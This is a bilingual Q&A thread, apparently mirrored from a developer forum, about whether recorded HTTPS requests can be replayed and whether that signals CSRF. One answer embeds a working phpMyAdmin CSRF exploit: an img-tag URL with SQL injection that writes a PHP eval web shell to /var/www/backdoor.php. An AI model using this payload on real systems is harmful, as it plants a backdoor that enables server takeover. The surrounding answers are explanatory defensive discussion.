HTTPS 请求的重放攻击

发布于 2024-08-31 11:34:44 字数 293 浏览 4 评论 0原文

假设安全测试人员使用代理(例如 Fiddler),并使用管理员的凭据记录 HTTPS 请求 - 在重放整个请求(包括会话和身份验证 cookie)时,安全测试人员能够成功(重新)记录事务。据称这是 CSRF 漏洞的迹象。

恶意用户需要做什么才能拦截 HTTPS 请求并重放它?这是脚本小子、资金充足的军事黑客团队或时间旅行外星技术的任务吗?记录用户的 SSL 会话并在票证过期之前重播它们真的那么容易吗?

目前应用程序中没有代码对 HTTP GET 执行任何有趣的操作,因此据我所知,欺骗管理员单击链接或使用恶意 URL 加载图像不是问题。

Let's say a security tester uses a proxy, say Fiddler, and records an HTTPS request using the administrator's credentials-- on replay of the entire request (including session and auth cookies) the security tester is able to succesfully (re)record transactions. The claim is that this is a sign of a CSRF vulnerability.

What would a malicious user have to do to intercept the HTTPS request and replay it? It this a task for script kiddies, well funded military hacking teams or time-traveling-alien technology? Is it really so easy to record the SSL sessions of users and replay them before the tickets expire?

No code in the application currently does anything interesting on HTTP GET, so AFAIK, tricking the admin into clicking a link or loading a image with a malicious URL isn't an issue.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(6

反话 2024-09-07 11:34:44

HTTPS 不可重播,握手序列中的第一个服务器响应包括服务器选择的随机数。

Fiddler 的作用是充当代理,这意味着它拦截浏览器的请求,然后向服务器生成相同的请求,这意味着它可以访问明文,这就是它将重播的内容。您的浏览器通过告诉您证书来自 Fiddler -“DO_NOT_TRUST_FiddlerRoot”来让您知道这一点,您必须同意这一点,然后它才会发送忽略证书不匹配的消息。

HTTPS is not replayable, the first server response in the handshake sequence includes a server-chosen random number.

What Fiddler does is act as a proxy, meaning it intercepts your browser's requests, and then generates an identical request to the server, meaning it has access to the plaintext, which is what it will be replaying. Your browser lets you know this by telling you the certificate is from Fiddler - "DO_NOT_TRUST_FiddlerRoot", which you have to agree to before it will send the message ignoring the certificate mismatch.

十年九夏 2024-09-07 11:34:44

你所描述的不是CSRF漏洞。 HTTPS专门防御原始密文的重放攻击,防止攻击者获知请求的内容。

需要注意的是,HTTPS 防御 CSRF。如果攻击者知道 GET/POST 变量应该是什么,那么他就能够构建恶意 html,当目标执行该 html 时,将执行攻击者想要的操作。如果 Web 应用程序不是公开的,并且攻击者不知道 HTTP 请求的样子,那么他们就无法伪造该请求。例如,这是我针对 phpMyAdmin 编写的 CSRF 漏洞。我已经修改了这个漏洞以使用 https,我所要做的就是将 url 从 http:// 更改为 https:// 。

<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

此漏洞利用 mysql 的“into outfile”来删除后门。它可以与无脚本一起使用,因为它正在伪造 GET 请求,并且浏览器认为它是图像,直到为时已晚。

What you are describing is not a CSRF vulnerability. HTTPS specifically defends against re-play attacks of raw cipher text and prevents the attacker from knowing the contents of the request.

It is important to note that HTTPS does not defend against CSRF. If the attacker knows what the GET/POST variables should be then he is able to build malicious html that when it is executed by a target will perform the action the attacker desires. If the web application isn't public and he the attacker doesn't know an HTTP request looks like, then they can't forge the request. For instance here is a CSRF exploit i wrote against phpMyAdmin. I have modified this exploit to work with https, and all i had to do was change the url from http:// to https:// .

<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

This exploit uses mysql's "into outfile" to drop a backdoor. It work with no-script, becuase it is forging a GET request, and the browser thinks its an image until its too late.

看透却不说透 2024-09-07 11:34:44

您的意思是仅仅暗示 SSL 的重播(尚未公开表明其可能)或身份验证 cookie(特定于应用程序)?前者表明 SSL 中存在一个迟钝的、秘密发现的漏洞(我可能会补充说,您不太可能能够修复该漏洞)。后者,即任意机器可以为先前建立的经过身份验证的会话提供 cookie,确实表明您的应用程序中存在潜在可利用的 CSRF 漏洞,应该解决该漏洞。

尽管 SSL 流量通常被认为不可能通过 MTM 攻击来嗅探(假设您已针对去年 11 月披露的漏洞采取了纠正措施),但存储在用户远程计算机上的 cookie 也无法免受拦截(特别是如果您的网站或与您的网站位于同一域的任何网站中存在 XSS 漏洞)。这种跨域/两个漏洞的利用越来越普遍,从严格的安全角度来看,即使不是直接通过您的应用程序,漏洞也可能被利用。

Do you mean to imply merely a replay of SSL (which has not yet publicly been shown to be possible) or of the authentication cookies (which is application specific)? The former would indicate an obtuse, privately discovered vulnerability in SSL (which you are unlikely to be able to remediate, I might add). The latter, i.e., where an arbitrary machine can supply cookies for a previously established authenticated session, does indicate a potentially exploitable CSRF vulnerability in your application, which should be addressed.

Even though SSL traffic is, generally, thought to be impossible to sniff via a MTM attack (assuming you've taken corrective action against the vulnerability disclosed last November), a cookie stored on the user's remote computer is not immune to interception (particularly if there is a XSS vulnerability in your site or any site on the same domain as your site). Such cross-domain / two-vulnerability exploits are increasingly common and, frrom a strict security perspective, an vulnerability is potentially exploitable, even if not directly through your application.

谁许谁一生繁华 2024-09-07 11:34:44

-- 编辑:注意,我关于 SSL 不处理重放攻击的说法是错误的,根据下面的内容它确实如此。实现token的方式还是不错的。

将“重放”HTTPS 请求视为返回浏览器并再次单击按钮。

也就是说,您无需解码任何内容即可重新提交 SSL 请求。途中的任何节点都可以做到这一点(他们只是看不到流量)。

因此,如果我捕获了您向我发送 100 美元的 SSL 交易,那么我可以捕获该交易并重新发送,这样我就可以继续收到钱。

对此的明显解决方案(嗯,典型的解决方案)是在 HTML 页面上生成令牌,然后在会话中保存相同的值。当请求到来时,您检查该值,检查它是否是当前值,如果是,则对其进行处理,然后更改当前值。

如果它不是当前值(即,它是处理“原始”请求后的旧值),那么您就知道该页面已重新提交。

这是防止重复提交信用卡详细信息等的常见方法,但它也具有强制唯一请求与每个响应相匹配的安全优势。链中无法解密 SSL 的攻击者无法通过此操作。

-- edit: Note, I am wrong about SSL not handling replay attacks, according to the below it does. Implementing the token approach is still good.

Consider "replaying" a HTTPS request as just going back in the browser and hitting the button again.

So that is to say, you don't need to decode anything to re-submit an SSL request. Any node on the way can do it (they just can't see the traffic).

So if I capture your SSL transaction that sends me $100, then I can capture that and resend it so that I keep getting the money.

The obvious solution to this (well, the typical solution) is to generate a token on the HTML page, and then hold that same value in the session. When a request comes in, you check this value, check that it is the current value, and if it is, process it, and then change the current value.

If it's not the current value (i.e. it's the old value after you've processed the "original" request), then you know the page was re-submitted.

This is a common approach to prevent the duplicate submission of credit card details, and so on, but it also has this security benefit of forcing a unique request to match each response. An attacker in the chain who can't decrpyt SSL can't get passed this.

╰沐子 2024-09-07 11:34:44

SSL V2 完全容易受到攻击,因此不得启用它。

http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet

SSL V2 is completely vulnerable, it must not be enabled.

http://www.owasp.org/index.php?title=Transport_Layer_Protection_Cheat_Sheet

猛虎独行 2024-09-07 11:34:44

据我所知,CSRF 是指一个站点引用另一个站点并窃取当前用户凭据作为其中的一部分。 CSRF只是转发请求。

代理是一个可信转发器,不应篡改请求。就像经典的中间人攻击一样简单。如果你信任你与终点的连接之间的某些东西,那么你就会受到中间人的摆布。

要拦截并重放 HTTPS 请求(经典的 HTTP 重放攻击),您必须能够解密流量的 SSL 加密。我的猜测是,你不能那样做。少得多,速度足够快,才有用。

更多的背景知识会很有用,但我不确定你在这里的目的是什么。

As far as I know, CSRF is when one site refers to another site and steals the current users credentials as a part of this. CSRF is NOT simply forwarding requests.

A proxy is a trusted forwarder that should not tamper with requests. It's as simple as the classic man in the middle attack. If you trust something in-between your connection to your end-point, you're at the mercy of the man in the middle.

To intercept and replay an HTTPS request (the classic HTTP replay attack), you would have to be able to decrypt the SSL encryption of the traffic AFAIK. My guess is, you cannot do that. Much less, fast enough to be useful.

Some more background would be useful, but I'm not sure what you're driving at here.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文